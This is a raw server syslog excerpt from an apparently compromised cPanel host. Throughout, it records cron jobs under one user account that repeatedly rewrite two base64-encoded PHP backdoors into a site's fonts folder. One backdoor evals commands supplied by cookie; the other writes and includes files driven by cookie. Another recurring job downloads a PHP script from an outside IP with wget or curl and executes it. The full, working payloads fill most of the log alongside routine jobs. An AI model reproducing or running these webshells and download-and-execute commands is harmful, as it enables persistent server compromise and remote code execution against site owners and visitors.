Sep  7 02:10:01 ip-184-168-122-23 CROND[29885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:10:01 ip-184-168-122-23 CROND[29888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:10:01 ip-184-168-122-23 CROND[29886]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:10:01 ip-184-168-122-23 CROND[29889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:11:01 ip-184-168-122-23 CROND[29986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:11:01 ip-184-168-122-23 CROND[29987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:11:01 ip-184-168-122-23 CROND[29989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:11:01 ip-184-168-122-23 CROND[29988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:12:01 ip-184-168-122-23 CROND[30063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:12:01 ip-184-168-122-23 CROND[30066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:12:01 ip-184-168-122-23 CROND[30068]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:12:01 ip-184-168-122-23 CROND[30067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:12:01 ip-184-168-122-23 CROND[30069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:13:01 ip-184-168-122-23 CROND[30147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:13:01 ip-184-168-122-23 CROND[30149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:13:01 ip-184-168-122-23 CROND[30151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:13:01 ip-184-168-122-23 CROND[30148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:14:02 ip-184-168-122-23 CROND[30223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:14:02 ip-184-168-122-23 CROND[30228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:14:02 ip-184-168-122-23 CROND[30226]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:14:02 ip-184-168-122-23 CROND[30227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:14:02 ip-184-168-122-23 CROND[30225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:15:01 ip-184-168-122-23 CROND[30330]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:15:01 ip-184-168-122-23 CROND[30333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:15:01 ip-184-168-122-23 CROND[30334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:15:01 ip-184-168-122-23 CROND[30331]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:15:01 ip-184-168-122-23 CROND[30332]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 02:15:01 ip-184-168-122-23 CROND[30335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:15:01 ip-184-168-122-23 CROND[30337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:16:01 ip-184-168-122-23 CROND[30499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:16:01 ip-184-168-122-23 CROND[30501]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:16:01 ip-184-168-122-23 CROND[30504]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 02:16:01 ip-184-168-122-23 CROND[30506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:16:01 ip-184-168-122-23 CROND[30505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:16:01 ip-184-168-122-23 CROND[30508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:17:01 ip-184-168-122-23 CROND[30601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:17:01 ip-184-168-122-23 CROND[30603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:17:01 ip-184-168-122-23 CROND[30604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:17:01 ip-184-168-122-23 CROND[30605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:18:01 ip-184-168-122-23 CROND[30692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:18:01 ip-184-168-122-23 CROND[30693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:18:01 ip-184-168-122-23 CROND[30696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:18:01 ip-184-168-122-23 CROND[30694]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:18:01 ip-184-168-122-23 CROND[30695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:19:01 ip-184-168-122-23 CROND[30780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:19:02 ip-184-168-122-23 CROND[30782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:19:02 ip-184-168-122-23 CROND[30786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:19:02 ip-184-168-122-23 CROND[30785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:20:01 ip-184-168-122-23 CROND[30866]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 02:20:01 ip-184-168-122-23 CROND[30870]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:20:01 ip-184-168-122-23 CROND[30872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:20:01 ip-184-168-122-23 CROND[30871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:20:01 ip-184-168-122-23 CROND[30869]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:20:01 ip-184-168-122-23 CROND[30873]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 02:20:01 ip-184-168-122-23 CROND[30875]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:20:01 ip-184-168-122-23 CROND[30874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:20:01 ip-184-168-122-23 CROND[30868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:21:01 ip-184-168-122-23 CROND[31047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:21:01 ip-184-168-122-23 CROND[31050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:21:01 ip-184-168-122-23 CROND[31049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:21:01 ip-184-168-122-23 CROND[31053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:22:02 ip-184-168-122-23 CROND[31129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:22:02 ip-184-168-122-23 CROND[31132]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
